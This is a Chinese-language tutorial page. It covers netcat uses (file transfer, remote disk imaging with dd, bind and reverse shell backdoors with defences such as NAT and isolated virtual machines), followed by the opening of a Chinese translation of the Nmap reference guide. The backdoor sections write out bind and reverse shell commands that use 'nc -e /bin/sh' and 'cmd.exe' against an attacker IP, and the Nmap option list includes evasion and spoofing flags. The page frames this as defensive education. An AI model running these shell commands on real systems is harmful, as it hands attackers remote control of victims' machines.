      这是让 SSH 通过 Tor 网络连接到 SSH 服务器,从而隐藏 SSH 客户端的真实 IP。在这种情况下,SSH 服务器看到的访问者 IP 是Tor 出口节点的公网 IP。

    场景九:用 nc 传输文件

    场景说明

    有时候,你需要在两台电脑之间传输文件。也可以用 nc 搞定。某些人会问:为啥不用 Windows 的共享目录?反驳的理由很多:

    1. 只能在 Windows 上用
    2. 为了使用共享目录,需要启用(Enable)系统中的好几个 service,这会增加你系统的攻击面
    3. 启用的 service 越多,占用的内容也越多,影响性能
    4. ……

    还有些同学会问:为啥不用 FTP、SSH(或诸如此类的东东)?其实:

    1. 如果只是临时传一个文件,还要额外再去装某某软件的客户端/服务端,岂不是很蛋疼?
    2. 任何服务端软件,(从某种意义上说)都是在增加攻击面。

    方法

    为了叙述方便,假设你有两台主机 A 与 B,你要把 A 主机上的文件 file1 传输到 B 主机上,保存为 file2,你先在接收端(B 主机)运行如下命令(其中的 xxx 是端口号)

    nc -l -p xxx > file2

    然后在发送端(A 主机)运行如下命令

    nc x.x.x.x xxx < file1

    第二条命令中的 xxx 是端口号,要与第一条命令中的端口号相同;第二条命令中的 x.x.x.x 是主机 B的 IP 地址。

    补充说明:nc 的性能优势

    用 nc 传输文件,相当于是:直接在裸 TCP层面传输。你可以通俗理解为:没有应用层。如果你传输的文件超级大或者文件数量超级多,用 nc 传输文件的性能优势会很明显(相比FTP、SSH、共享目录…而言)。

    场景十:用 nc 远程备份整个磁盘

    使用场景

    当学会用 nc 传输文件,还可以用 nc 复制整个硬盘。无论是对系统管理员,还是对数据取证人员,这招都很有用。

    说明一下,磁盘复制不同于在两块磁盘之间复制文件。两者之间有很多差别,至少包括:  

    • 性能差异:如果源盘上有非常多的小文件,在两块磁盘之间复制文件就会非常慢
    • 完整性差异:磁盘复制可以确保两块盘的内容是完全一致滴。而如果你仅仅在两块磁盘之间复制文件,很多信息都会损失掉

    一般来说,系统管理员更看重第1个差异(性能),而数据取证人员更看重第2个差异(完整性)。

    原理

    为了传输整个磁盘,你需要用到 dd 命令。dd 源自 UNIX,后来也移植到 Linux 和 Windows。关于 dd 命令的更详细介绍,可以参见维基百科[链接]或Gnu 官网[链接]

    通过 dd 命令,你可以把整个硬盘(或者硬盘上的某个物理分区、逻辑分区)dump 成一个文件。在本章节,由于最终目的是要跨主机备份磁盘,所以并不需要真的把 dd 命令的输出保存成文件,而是把 dd 的输出通过管道符(|)重定向给本机的 nc,然后让本机的 nc 发送到另一台主机的 nc。

    方法

    由于操作物理磁盘会涉及到操作系统的差异,下面以 Linux 举例:

    假设要把 A 主机 /dev/sda 磁盘的原始数据整个复制到 B 主机的 /dev/sdb 磁盘。

    先在接收端B 主机)运行如下命令(其中的 xxx 是端口号):

    nc -l -p xxx | dd of=/dev/sdb

    然后在发送端(A 主机)运行如下命令:

    dd if=/dev/sda | nc x.x.x.x xxx  

    第二条命令中的 xxx 是端口号,要与第一条命令中的端口号相同;第二条命令中的 x.x.x.x 是主机 B的 IP 地址。

    补充说明:nc 的性能优势

    如今的存储设备越来越大。磁盘或者分区动不动都是几百个 GB,这时候 nc 的性能优势就能体现出来。

    场景十一:用 nc 开启被动型连接

    做这方面的介绍,并不是为了传授入侵技巧。而是为了让那些注重安全性的同学了解相关细节,做到知己知彼。

    使用场景

    假设1:你使用的浏览器存在某个安全漏洞,并且该漏洞会让攻击者获得执行代码的机会。
    假设2:你在某个公共场合使用某个 wifi 热点上网。遗憾的是,这个热点是攻击者设置的陷阱。
    假设3:设置该陷阱的攻击者,正好也知道:如何利用上述漏洞。

    当这三个假设都成立,攻击者就可以获得在你本机执行代码的机会。这时候攻击者可以下载一个 nc 到你本机,然后用 nc 开启一个被动型连接。所谓的被动型连接就是指:nc开启对外监听端口。

    在该场景中,因为攻击者与你处于同一个局域网,攻击者自然能从自己的机器访问到你本机的 nc 后门。

    原理

    为了让连接能工作,通常会使用 nc 的 -e 选项,该选项的选项值是一个可执行文件的路径。设置了该选项之后,当处于监听状态的 nc 接受到某个连接,会启动选项值对应的可执行文件并得到某个进程,nc 会把该进程的标准输入输出与网络通讯对接。

    为了让这个连接权限足够大,攻击者通常会让 nc 去启动一个shell 进程。对 Windows 系统而言,就是 cmd.exe;对 POSIX 系统(Linux or UNIX)而言,就是 /bin/sh

    在这种情况下(nc 挂载 shell),攻击者远程连入 nc 的端口,就可以直接在这个 shell 上进行各种操作,其效果类似于 SSH 或(老式的)telnet。

    方法

    步骤1
    如果受害者是 Windows 系统,只须如下命令就可以开启一个后门(其中的 xxx 是端口号)

    nc.exe -l -p xxx -e cmd.exe  

    如果受害者是 POSIX 系统(Linux or UNIX),则用如下命令:

    nc -l -p xxx -e /bin/sh

    步骤2
    连接创建好之后,攻击者在自己机器上也运行 nc(客户端 nc),然后连接到作为服务端 nc。一旦连上之后,攻击者就可以在自己的 nc 上看到对方(受害者机器)的 shell 提示符。

    补充说明:-e 选项

    据说是考虑到 -e 选项太过危险,nc 的 OpenBSD 变种(在多年前)已经移除了该选项。但其实,还是可以用间接的方式达到同样的效果(具体如何做,就不透露了)。另外原版 nc依然有这个选项;nc 的很多其它变种,也依然有这个选项。

    不够靠谱的防范措施

    在这个场景中,大伙儿可能会想到三个值得改进之处:

    1. 浏览器的漏洞
    2. 使用公共 wifi 热点的习惯
    3. 防火墙的设置

    对第1点其实是无解的,因为任何人都无法确保浏览器是零漏洞。
    对第2点要看每个人的具体情况而定。对有些人而言,用公共热点上网属于刚需,那就没办法了。
    对第3点防火墙设置,似乎是比较通用的解决之道。对大部分人而言,桌面 PC 根本就不必开启对外监听端口。因此,你可以配置操作系统自带防火墙,禁止所有的对外监听端口。但是,操作系统自带的防火墙,本身也运行在操作系统之内。如果你是以管理员身份遭遇入侵,入侵者在进行代码执行的时候,就已经具有了管理员权限。在这个权限下,入侵者完全有可能搞定防火墙。方法有很多种:

    比如说:把用作后门的端口号,悄悄加入到防火墙的白名单中。
    再比如说:直接把防火墙的过滤模块干掉。
    更牛逼的入侵者,甚至可以在网卡驱动上做文章:因为网卡驱动位于防火墙的过滤模块之下,比防火墙更底层。

    靠谱的防范措施:NAT 模式的虚拟机(Guest OS)

    步骤如下:

    1. 当然先要安装虚拟化软件(VBox、VMware …)
    2. 安装一个虚拟的操作系统(Guest OS)
    3. 虚拟系统的网卡设置为NAT模式

    完成上述步骤后,你就可以在这个虚拟系统中上网。NAT 的好处在于单向可见。也就是说,Guest OS 可以访问到物理系统(Host OS)外部的网络环境;但外部网络环境只能看到 Host OS,看不到 Guest OS。

    在这种配置下,就算某个入侵者完全控制了你的 Guest OS,他/她也没办法在 Guest OS 中搭建被动型连接。换句话说,即使入侵者运行了这种后门,(但由于 NAT 的缘故)后门无法接受外部网络的连接,这个后门就失去意义。

    补充说明:NAT 模式如何搭配系统防火墙?

    上述NAT设置与系统防火墙并不矛盾,也就是说,即使用了该设置,物理系统(Host OS)还是要配置系统防火墙,并禁止所有的对外监听端口。

    场景十二:用 nc 开启主动型连接

    场景说明

    继续用前一个章节的场景,差别在于采纳了前一章节的措施:在某个 NAT 模式的虚拟机(Gest OS)中上网,以对付被动连接型的 nc 后门。

    可惜的是即便如此,入侵者在利用漏洞并获得执行代码的机会之后,还是有办法用 nc 在你的电脑上搞一个网络后门。虽然你用了 NAT 模式的虚拟机(Guest OS),但入侵者可以用 nc 创建一个主动连接型的网络后门(有时也称作反向连接后门)。

    原理

    原理其实与场景十一很类似,唯一的差别在于:把客户端与服务端对调。也就是说攻击者手头的 nc 充当服务端,而受害者机器上的 nc 充当客户端。此时,受害者本机的 nc无须开启监听端口,不受防火墙的影响,也不受NAT 的影响。

    方法

    步骤1
    既然 nc 的服务端与客户端对调,因此攻击者要先在自己机器上运行服务端 nc,命令如下(其中的 xxx 是端口号)。当然啦,攻击者自己电脑的防火墙需要允许 xxx 端口号对外监听:

    nc -lk -p xxx

    步骤2
    如果受害者是 Windows 系统,只须如下命令就可以开启一个后门:

    nc.exe -e cmd.exe x.x.x.x xxx  

    如果受害者是 POSIX 系统,则用如下命令:

    nc -e /bin/sh x.x.x.x xxx  

    (在上述两个命令中, xxx 是步骤1用到的端口号,x.x.x.x 是攻击者的 IP 地址)

    比NAT 模式更保险的是:隔离模式的虚拟机

    所谓的隔离模式,指的是Host Only 模式或类似的模式(比如:Internal 模式)。

    有必要提醒一下:
    隔离的虚拟机可以增加入侵者的攻击难度,但不能做到 100% 防范。只要能在某个隔离虚拟机中上网,那么那些足够高级的木马,就有可能在隔离虚拟机中找到对外连接的通道。从而实现一个主动连接型的后门。

    那么该怎么办?  
    在安全方面,虚拟机有两个显著好处:网络隔离性只是其中之一,另一个就是快照。
    如果你对安全性的要求非常高,就要学会:

    1. 用快照功能建立安全基线
      所谓的安全基线就是:在确保系统纯洁的时候,先做一个快照
    2. 养成定期回退快照的好习惯
      这样就算你中了木马,只要一回退到安全基线,系统就重新变得纯洁

    主动连接型后门的危险性之处

    简单对比一下后门的两种连接方式。

    可用性
    如果用被动型后门入侵桌面 PC,考虑到绝大部分桌面 PC 都处于内网(其网卡并未分配公网 IP)。对这种场景,攻击者需要与受害者在同一个局域网,才能与后门建立通讯。相比之下,主动型后门就没有这种弊端。

    隐蔽性
    被动型后门需要显式开启监听端口,很容易引起用户的怀疑,或引起杀毒软件的注意。相比之下,主动型后门就没有这个问题。

    netcat 的其它变种

    本文开头部分已经介绍了原版 nc以及OpenBSD 变种。在结尾部分,简单聊聊其它几个变种。

    GNU netcat[官网]

    从名称可以猜出:这是 GNU 社区对原版 nc的重写,以符合 GPL 许可协议。按照官网的说法,GNU netcat100% 兼容原版 nc的 1.10 版本。(注:1.10 版本是原版 nc用得最广的版本)

    ◇ncat[官网]

    这是 nmap 社区重写的 nc,它的口号是:Ncat – Netcat for the 21st Century,与OpenBSD 变种类似,它也增加了代理的支持。相比OpenBSD 变种,它的主要亮点是:完全支持 SSL/TLS。由于它源自 nmap 社区,已经被包含在 nmap 软件包中(大多数 Linux & BSD 发行版的官方仓库都有 nmap)。

    socat

    在所有的变种里面,这款可能是功能最强的,但使用方法也有很大的不同(更复杂了)。感觉像是另一个全新的软件。很多主流的 Linux 发行版已经包含它,也完全支持 SSL/TLS。

    Cryptcat

    一看名称就能猜到:这是加密的网猫,由于大部分网猫都是直接在裸 TCP之上传输数据。如果传输的内容本身是明文,会遭遇网络嗅探的风险。

    这款变种在传输过程中用 twofish 算法加密,以规避嗅探。

    sbd

    光看这3字母的名称,你可能不知道这款变种的特色。但如果俺告诉你:sbd是Secure BackDoor的缩写,你多半就猜到其特色了。它的加密采用AES-128-CBC + HMAC-SHA1。

    netrw

    这是专门针对文件传输功能进行强化和简化的变种。

    简化方面
    它分成两个命令:netread 和 netwrite,分别对应发送和接收。(相对原版 nc)省了几个命令选项。
    强化方面
    它会对传输过程进行散列校验,以防止传输的数据被篡改。

  • Nmap参考指南

    Nmap参考指南

    概述

    Nmap(“Network Mapper(网络映射器)”)是一款开放源代码的网络探测和安全审核的工具。它的设计目标是快速地扫描大型网络,当然用它扫描单个主机也没有问题。Nmap以新颖的方式使用原始IP报文来发现网络上有哪些主机,那些主机提供什么服务(应用程序名和版本),那些服务运行在什么操作系统(包括版本信息),它们使用什么类型的报文过滤器/防火墙,以及一堆其它功能。虽然Nmap通常用于安全审核,许多系统管理员和网络管理员也用它来做一些日常的工作,比如查看整个网络的信息,管理服务升级计划,以及监视主机和服务的运行。

    Nmap输出的是扫描目标的列表,以及每个目标的补充信息,至于是哪些信息则依赖于所使用的选项。“所感兴趣的端口表格”是其中的关键。那张表列出端口号,协议,服务名称和状态。状态可能是open(开放的),filtered(被过滤的),closed(关闭的),或者unfiltered(未被过滤的)。Open(开放的)意味着目标机器上的应用程序正在该端口监听连接/报文。filtered(被过滤的)意味着防火墙,过滤器或者其它网络障碍阻止了该端口被访问,Nmap无法得知它是open(开放的)还是closed(关闭的)。closed(关闭的)端口没有应用程序在它上面监听,但是他们随时可能开放。当端口对Nmap的探测做出响应,但是Nmap无法确定它们是关闭还是开放时,这些端口就被认为是unfiltered(未被过滤的)如果Nmap报告状态组合open|filteredclosed|filtered时,那说明Nmap无法确定该端口处于两个状态中的哪一个状态。当要求进行版本探测时,端口表也可以包含软件的版本信息。当要求进行IP协议扫描时(-sO),Nmap提供关于所支持的IP协议而不是正在监听的端口的信息。

    除了所感兴趣的端口表,Nmap还能提供关于目标机的进一步信息,包括反向域名,操作系统猜测,设备类型,和MAC地址。

    一个典型的Nmap扫描如下例所示。在这个例子中,唯一的选项是-A,用来进行操作系统及其版本的探测,-T4可以加快执行速度,接着是两个目标主机名。

    # nmap -A -T4 scanme.nmap.org playground
    
    Starting nmap ( https://nmap.org/ )
    Interesting ports on scanme.nmap.org (205.217.153.62):
    (The 1663 ports scanned but not shown below are in state: filtered)
    port    STATE  SERVICE VERSION
    22/tcp  open   ssh     OpenSSH 3.9p1 (protocol 1.99)
    53/tcp  open   domain
    70/tcp  closed gopher
    80/tcp  open   http    Apache httpd 2.0.52 ((Fedora))
    113/tcp closed auth
    Device type: general purpose
    Running: Linux 2.4.X|2.5.X|2.6.X
    OS details: Linux 2.4.7 - 2.6.11,Linux 2.6.0 - 2.6.11
    Uptime 33。908 days (since Thu Jul 21 03:38:03 2005)
    
    Interesting ports on playground。nmap。或者g (192.168.0.40):
    (The 1659 ports scanned but not shown below are in state: closed)
    port     STATE SERVICE       VERSION
    135/tcp  open  msrpc         Microsoft Windows RPC
    139/tcp  open  netbios-ssn
    389/tcp  open  ldap?
    445/tcp  open  microsoft-ds  Microsoft Windows XP microsoft-ds
    1002/tcp open  windows-icfw?
    1025/tcp open  msrpc         Microsoft Windows RPC
    1720/tcp open  H.323/Q.931   CompTek AquaGateKeeper
    5800/tcp open  vnc-http      RealVNC 4.0 (Resolution 400x250; VNC TCP port: 5900)
    5900/tcp open  vnc           VNC (protocol 3.8)
    MAC Address: 00:A0:CC:63:85:4B (Lite-on Communications)
    Device type: general purpose
    Running: Microsoft Windows NT/2K/XP
    OS details: Microsoft Windows XP Pro RC1+ through final release
    Service Info: OSs: Windows,Windows XP
    
    Nmap finished: 2 IP addresses (2 hosts up) scanned in 88.392 seconds

    选项概要

    当Nmap不带选项运行时,该选项概要会被输出,它帮助人们记住最常用的选项,但不能替代本手册[latest]其余深入的文档,一些晦涩的选项甚至不在这里。

    Usage: nmap [Scan Type(s)] [Options] {target specification}
    TARGET SPECIFICATION:
      Can pass hostnames, IP addresses, networks, etc.
      Ex: scanme.nmap.org, microsoft.com/24, 192.168.0.1; 10.0-255.0-255.1-254
      -iL <inputfilename>: Input from list of hosts/networks
      -iR <num hosts>: Choose random targets
      --exclude <host1[,host2][,host3],...>: Exclude hosts/networks
      --excludefile <exclude_file>: Exclude list from file
    HOST DISCOVERY:
      -sL: List Scan - simply list targets to scan
      -sP: Ping Scan - go no further than determining if host is online
      -P0: Treat all hosts as online -- skip host discovery
      -PS/PA/PU [portlist]: TCP SYN/ACK or UDP discovery probes to given ports
      -PE/PP/PM: ICMP echo, timestamp, and netmask request discovery probes
      -n/-R: Never do DNS resolution/Always resolve [default: sometimes resolve]
    SCAN TECHNIQUES:
      -sS/sT/sA/sW/sM: TCP SYN/Connect()/ACK/Window/Maimon scans
      -sN/sF/sX: TCP Null, FIN, and Xmas scans
      --scanflags <flags>: Customize TCP scan flags
      -sI <zombie host[:probeport]>: Idlescan
      -sO: IP protocol scan
      -b <ftp relay host>: FTP bounce scan
    PORT SPECIFICATION AND SCAN ORDER:
      -p <port ranges>: Only scan specified ports
        Ex: -p22; -p1-65535; -p U:53,111,137,T:21-25,80,139,8080
      -F: Fast - Scan only the ports listed in the nmap-services file)
      -r: Scan ports sequentially - don't randomize
    SERVICE/VERSION DETECTION:
      -sV: Probe open ports to determine service/version info
      --version-light: Limit to most likely probes for faster identification
      --version-all: Try every single probe for version detection
      --version-trace: Show detailed version scan activity (for debugging)
    OS DETECTION:
      -O: Enable OS detection
      --osscan-limit: Limit OS detection to promising targets
      --osscan-guess: Guess OS more aggressively
    TIMING AND PERFORMANCE:
      -T[0-6]: Set timing template (higher is faster)
      --min-hostgroup/max-hostgroup <size>: Parallel host scan group sizes
      --min-parallelism/max-parallelism <numprobes>: Probe parallelization
      --min-rtt-timeout/max-rtt-timeout/initial-rtt-timeout <msec>: Specifies
          probe round trip time.
      --host-timeout <msec>: Give up on target after this long
      --scan-delay/--max-scan-delay <msec>: Adjust delay between probes
    FIREWALL/IDS EVASION AND SPOOFING:
      -f; --mtu <val>: fragment packets (optionally w/given MTU)
      -D <decoy1,decoy2[,ME],...>: Cloak a scan with decoys
      -S <IP_Address>: Spoof source address
      -e <iface>: Use specified interface
      -g/--source-port <portnum>: Use given port number
      --data-length <num>: Append random data to sent packets
      --ttl <val>: Set IP time-to-live field
      --spoof-mac <mac address, prefix, or vendor name>: Spoof your MAC address
    OUTPUT:
      -oN/-oX/-oS/-oG <file>: Output scan results in normal, XML, s|<rIpt kIddi3,
         and Grepable format, respectively, to the given filename.
      -oA <basename>: Output in the three major formats at once
      -v: Increase verbosity level (use twice for more effect)
      -d[level]: Set or increase debugging level (Up to 9 is meaningful)
      --packet-trace: Show all packets sent and received
      --iflist: Print host interfaces and routes (for debugging)
      --append-output: Append to rather than clobber specified output files
      --resume <filename>: Resume an aborted scan
      --stylesheet <path/URL>: XSL stylesheet to transform XML output to HTML
      --no-stylesheet: Prevent Nmap from associating XSL stylesheet w/XML output
    MISC:
      -6: Enable IPv6 scanning
      -A: Enables OS detection and Version detection
      --datadir <dirname>: Specify custom Nmap data file location
      --send-eth/--send-ip: Send packets using raw ethernet frames or IP packets
      --privileged: Assume that the user is fully privileged
      -V: Print version number
      -h: Print this help summary page.
    EXAMPLES:
      nmap -v -A scanme.nmap.org
      nmap -v -sP 192.168.0.0/16 10.0.0.0/8
      nmap -v -iR 10000 -P0 -p 80

    目标说明

    除了选项,所有出现在Nmap命令行上的都被视为对目标主机的说明。最简单的情况是指定一个目标IP地址或主机名。

    有时候您希望扫描整个网络的相邻主机。为此,Nmap支持CIDR风格的地址。您可以附加一个/<numbit>在一个IP地址或主机名后面,Nmap将会扫描所有和该参考IP地址具有<numbit>相同比特的所有IP地址或主机。例如,192.168.10.0/24将会扫描192.168.10.0(二进制格式:11000000 10101000 00001010 00000000)和192.168.10.255(二进制格式:11000000 10101000 00001010 11111111)之间的256台主机。192.168.10.40/24将会做同样的事情。假设主机scanme.nmap.org的IP地址是205.217.153.62,scanme.nmap.org/16将扫描205.217.0.0和205.217.255.255之间的65,536个IP地址。所允许的最小值是/1,这将会扫描半个互联网。最大值是/32,这将会扫描该主机或IP地址,因为所有的比特都固定了。

    CIDR标志位很简洁但有时候不够灵活。例如,您也许想要扫描192.168.0.0/16,但略过任何以.0或者.255结束的IP地址,因为它们通常是广播地址。Nmap通过八位字节地址范围支持这样的扫描,您可以用,分开的数字或范围列表为IP地址的每个八位字节指定它的范围。例如,192.168.0-255.1-254将略过在该范围内以.0和.255结束的地址。范围不必限于最后的8位:0-255.0-255.13.37将在整个互联网范围内扫描所有以13.37结束的地址。这种大范围的扫描对互联网调查研究也许有用。

    IPv6地址只能用规范的IPv6地址或主机名指定。CIDR和八位字节范围不支持IPv6,因为它们对于IPv6几乎没什么用。

    Nmap命令行接受多个主机说明,它们不必是相同类型。命令

    nmap scanme.nmap.org 192.168.0.0/8 10.0.0,1,3-7.0-255

    将和您预期的一样执行。

    虽然目标通常在命令行指定,下列选项也可用来控制目标的选择:

    -iL <inputfilename> (从列表中输入)

    <inputfilename>中读取目标说明。在命令行输入一堆主机名显得很笨拙,然而经常需要这样。例如,您的DHCP服务器可能导出10,000个当前租约的列表,而您希望对它们进行扫描。如果您不是使用未授权的静态IP来定位主机,或许您想要扫描所有IP地址。只要生成要扫描的主机的列表,用-iL把文件名作为选项传给Nmap。列表中的项可以是Nmap在命令行上接受的任何格式(IP地址,主机名,CIDR,IPv6,或者八位字节范围)。每一项必须以一个或多个空格,制表符或换行符分开。如果您希望Nmap从标准输入而不是实际文件读取列表,您可以用一个连字符(-)作为文件名。

    -iR <hostnum> (随机选择目标)

    对于互联网范围内的调查和研究,您也许想随机地选择目标。<hostnum>选项告诉Nmap生成多少个IP。不合需要的IP如特定的私有,组播或者未分配的地址自动略过。选项0意味着永无休止的扫描。记住,一些网管对于未授权的扫描可能会很感冒并加以抱怨。使用该选项的后果自负!如果在某个雨天的下午,您觉得实在无聊,试试这个命令nmap -sS -PS80 -iR 0 -p 80随机地找一些网站浏览。

    --exclude <host1[,host2][,host3],...> (排除主机/网络)

    如果在您指定的扫描范围有一些主机或网络不是您的目标,那就用该选项加上以逗号分隔的列表排除它们。该列表用正常的Nmap语法,因此它可以包括主机名,CIDR,八位字节范围等等。当您希望扫描的网络包含执行关键任务的服务器,已知的对端口扫描反应强烈的系统或者被其它人看管的子网时,这也许有用。

    --excludefile <excludefile> (排除文件中的列表)

    这和--exclude选项的功能一样,只是所排除的目标是用以换行符,空格,或者制表符分隔的<excludefile>提供的,而不是在命令行上输入的。

    主机发现

    任何网络探测任务的最初几个步骤之一就是把一组IP范围(有时该范围是巨大的)缩小为一列活动的或者您感兴趣的主机。扫描每个IP的每个端口很慢,通常也没必要。当然,什么样的主机令您感兴趣主要依赖于扫描的目的。网管也许只对运行特定服务的主机感兴趣,而从事安全的人士则可能对一个马桶都感兴趣,只要它有IP地址 🙂 。一个系统管理员也许仅仅使用Ping来定位内网上的主机,而一个外部入侵测试人员则可能绞尽脑汁用各种方法试图突破防火墙的封锁。

    由于主机发现的需求五花八门,Nmap提供了一箩筐的选项来定制您的需求。主机发现有时候也叫做ping扫描,但它远远超越用世人皆知的ping工具:发送简单的ICMP echo请求报文。用户完全可以通过使用列表扫描(-sL)或者通过关闭ping (-P0)跳过ping的步骤,也可以使用多个端口把TCP SYN/ACK,UDP和ICMP任意组合起来玩一玩。这些探测的目的是获得响应以显示某个IP地址是否是活动的(正在被某主机或者网络设备使用)。在许多网络上,在给定的时间,往往只有小部分的IP地址是活动的。这种情况在基于RFC1918的私有地址空间如10.0.0.0/8尤其普遍。那个网络有16,000,000个IP,但我见过一些使用它的公司连1000台机器都没有。主机发现能够找到零星分布于IP地址海洋上的那些机器。

    如果没有给出主机发现的选项,Nmap就发送一个TCP SYN报文到443端口,一个TCP ACK报文到80端口和一个ICMP echo请求到每台目标机器。一个例外是ARP扫描用于局域网上的任何目标机器。对于非特权UNIX shell用户,使用connect()系统调用会发送一个SYN报文而不是ACK这些默认行为和使用-PA -PE选项的效果相同。扫描局域网时,这种主机发现一般够用了,但是对于安全审核,建议进行更加全面的探测。

    -P*选项(用于选择ping的类型)可以被结合使用。您可以通过使用不同的TCP端口/标志位和ICMP码发送许多探测报文来增加穿透防守严密的防火墙的机会。另外要注意的是即使您指定了其它-P*选项,ARP发现(-PR)对于局域网上的目标而言是默认行为,因为它总是更快更有效。

    下列选项控制主机发现:

    -sL (列表扫描)

    列表扫描是主机发现的退化形式,它仅仅列出指定网络上的每台主机,不发送任何报文到目标主机。默认情况下,Nmap仍然对主机进行反向域名解析以获取它们的名字。简单的主机名能给出的有用信息常常令人惊讶。例如,fw.chi.playboy.com是花花公子芝加哥办公室的防火墙。Nmap最后还会报告IP地址的总数。列表扫描可以很好的确保您拥有正确的目标IP。如果主机的域名出乎您的意料,那么就值得进一步检查以防错误地扫描其它组织的网络。

    既然只是打印目标主机的列表,像其它一些高级功能如端口扫描,操作系统探测或者Ping扫描的选项就没有了。如果您希望关闭ping扫描而仍然执行这样的高级功能,请继续阅读关于-P0选项的介绍。

    -sP (Ping扫描)

    该选项告诉Nmap仅仅进行ping扫描(主机发现),然后打印出对扫描做出响应的那些主机。没有进一步的测试(如端口扫描或者操作系统探测)。这比列表扫描更积极,常常用于和列表扫描相同的目的。它可以得到些许目标网络的信息而不被特别注意到。对于攻击者来说,了解多少主机正在运行比列表扫描提供的一列IP和主机名往往更有价值。

    系统管理员往往也很喜欢这个选项。它可以很方便地得出网络上有多少机器正在运行或者监视服务器是否正常运行。常常有人称它为地毯式ping,它比ping广播地址更可靠,因为许多主机对广播请求不响应。

    -sP选项在默认情况下,发送一个ICMP echo请求和一个TCP报文到80端口。如果非特权用户执行,就发送一个SYN报文(用connect()系统调用)到目标机的80端口。当特权用户扫描局域网上的目标机时,会发送ARP请求(-PR),除非使用了--send-ip选项。-sP选项可以和除-P0之外的任何发现探测类型-P*选项结合使用以达到更大的灵活性。一旦使用了任何探测类型和端口选项,默认的探测(ACK和回应请求)就被覆盖了。当防守严密的防火墙位于运行Nmap的源主机和目标网络之间时,推荐使用那些高级选项。否则,当防火墙捕获并丢弃探测包或者响应包时,一些主机就不能被探测到。

    -P0 (无ping)

    该选项完全跳过Nmap发现阶段。通常Nmap在进行高强度的扫描时用它确定正在运行的机器。默认情况下,Nmap只对正在运行的主机进行高强度的探测如端口扫描,版本探测,或者操作系统探测。用-P0禁止主机发现会使Nmap对每一个指定的目标IP地址进行所要求的扫描。所以如果在命令行指定一个B类目标地址空间(/16),所有65,536个IP地址都会被扫描。-P0的第二个字符是数字0而不是字母O。和列表扫描一样,跳过正常的主机发现,但不是打印一个目标列表,而是继续执行所要求的功能,就好像每个IP都是活动的。

    -PS [portlist] (TCP SYN Ping)

    该选项发送一个设置了SYN标志位的空TCP报文。默认目的端口为80,可以通过改变nmap.h文件中的DEFAULT-TCP-PROBE-PORT值进行配置,但不同的端口也可以作为选项指定。甚至可以指定一个以逗号分隔的端口列表(如-PS22,23,25,80,113,1050,35000),在这种情况下,每个端口会被并发地扫描。

    SYN标志位告诉对方您正试图建立一个连接。通常目标端口是关闭的,一个RST(复位)包会发回来。如果碰巧端口是开放的,目标会进行TCP三步握手的第二步,回应一个SYN/ACK TCP报文。然后运行Nmap的机器则会扼杀这个正在建立的连接,发送一个RST而非ACK报文,否则,一个完全的连接将会建立。RST报文是运行Nmap的机器而不是Nmap本身响应的,因为它对收到的SYN/ACK感到很意外。

    Nmap并不关心端口开放还是关闭。无论RST还是SYN/ACK响应都告诉Nmap该主机正在运行。

    在UNIX机器上,通常只有特权用户root才能发送和接收原始的TCP报文。因此作为一个变通的方法,对于非特权用户,Nmap会为每个目标主机进行系统调用connect(),它也会发送一个SYN报文来尝试建立连接。如果connect()迅速返回成功或者一个ECONNREFUSED失败,下面的TCP堆栈一定已经收到了一个SYN/ACK或者RST,该主机将被标志位为在运行。如果连接超时了,该主机就标志位为down掉了。这种方法也用于IPv6连接,因为Nmap目前还不支持原始的IPv6报文。

    -PA [portlist] (TCP ACK Ping)

    TCP ACK ping和刚才讨论的SYN ping相当类似。也许您已经猜到了,区别就是设置TCP的ACK标志位而不是SYN标志位。ACK报文表示确认一个建立连接的尝试,但该连接尚未完全建立。所以远程主机应该总是回应一个RST报文,因为它们并没有发出过连接请求到运行Nmap的机器,如果它们正在运行的话。

    -PA选项使用和SYN探测相同的默认端口(80),也可以用相同的格式指定目标端口列表。如果非特权用户尝试该功能,或者指定的是IPv6目标,前面说过的connect()方法将被使用。这个方法并不完美,因为它实际上发送的是SYN报文,而不是ACK报文。

    提供SYN和ACK两种ping探测的原因是使通过防火墙的机会尽可能大。许多管理员会配置他们的路由器或者其它简单的防火墙来封锁SYN报文,除非连接目标是那些公开的服务器像公司网站或者邮件服务器。这可以阻止其它进入组织的连接,同时也允许用户访问互联网。这种无状态的方法几乎不占用防火墙/路由器的资源,因而被硬件和软件过滤器广泛支持。Linux Netfilter/iptables防火墙软件提供方便的--syn选项来实现这种无状态的方法。当这样的无状态防火墙规则存在时,发送到关闭目标端口的SYN ping探测 (-PS) 很可能被封锁。这种情况下,ACK探测格外有闪光点,因为它正好利用了这样的规则

    另外一种常用的防火墙用有状态的规则来封锁非预期的报文。这一特性已开始只存在于高端防火墙,但是这些年类它越来越普遍了。Linux Netfilter/iptables通过--state选项支持这一特性,它根据连接状态把报文进行分类。SYN探测更有可能用于这样的系统,由于没头没脑的ACK报文通常会被识别成伪造的而丢弃。解决这个两难的方法是通过即指定-PS又指定-PA来即发送SYN又发送ACK。

    -PU [portlist] (UDP Ping)

    还有一个主机发现的选项是UDP ping,它发送一个空的(除非指定了--data-length)UDP报文到给定的端口。端口列表的格式和前面讨论过的-PS-PA选项还是一样。如果不指定端口,默认是31338。该默认值可以通过在编译时改变nmap.h文件中的DEFAULT-UDP-PROBE-PORT值进行配置。默认使用这样一个奇怪的端口是因为对开放端口进行这种扫描一般都不受欢迎。

    如果目标机器的端口是关闭的,UDP探测应该马上得到一个ICMP端口无法到达的回应报文。这对于Nmap意味着该机器正在运行。许多其它类型的ICMP错误,像主机/网络无法到达或者TTL超时则表示down掉的或者不可到达的主机。没有回应也被这样解释。如果到达一个开放的端口,大部分服务仅仅忽略这个空报文而不做任何回应。这就是为什么默认探测端口是31338这样一个极不可能被使用的端口。少数服务如chargen会响应一个空的UDP报文,从而向Nmap表明该机器正在运行。

    该扫描类型的主要优势是它可以穿越只过滤TCP的防火墙和过滤器。例如,我曾经有过一个Linksys BEFW11S4无线宽带路由器。默认情况下,该设备对外的网卡过滤所有TCP端口,但UDP探测仍然会引发一个端口不可到达的消息,从而暴露了它自己。

    -PE; -PP; -PM (ICMP Ping Types)

    除了前面讨论的这些不常见的TCP和UDP主机发现类型,Nmap也能发送世人皆知的ping程序所发送的报文。Nmap发送一个ICMP type 8 (echo请求)报文到目标IP地址,期待从运行的主机得到一个type 0 (echo响应)报文。对于网络探索者而言,不幸的是,许多主机和防火墙现在封锁这些报文,而不是按期望的那样响应,参见RFC 1122。因此,仅仅ICMP扫描对于互联网上的目标通常是不够的。但对于系统管理员监视一个内部网络,它们可能是实际有效的途径。使用-PE选项打开该echo请求功能。

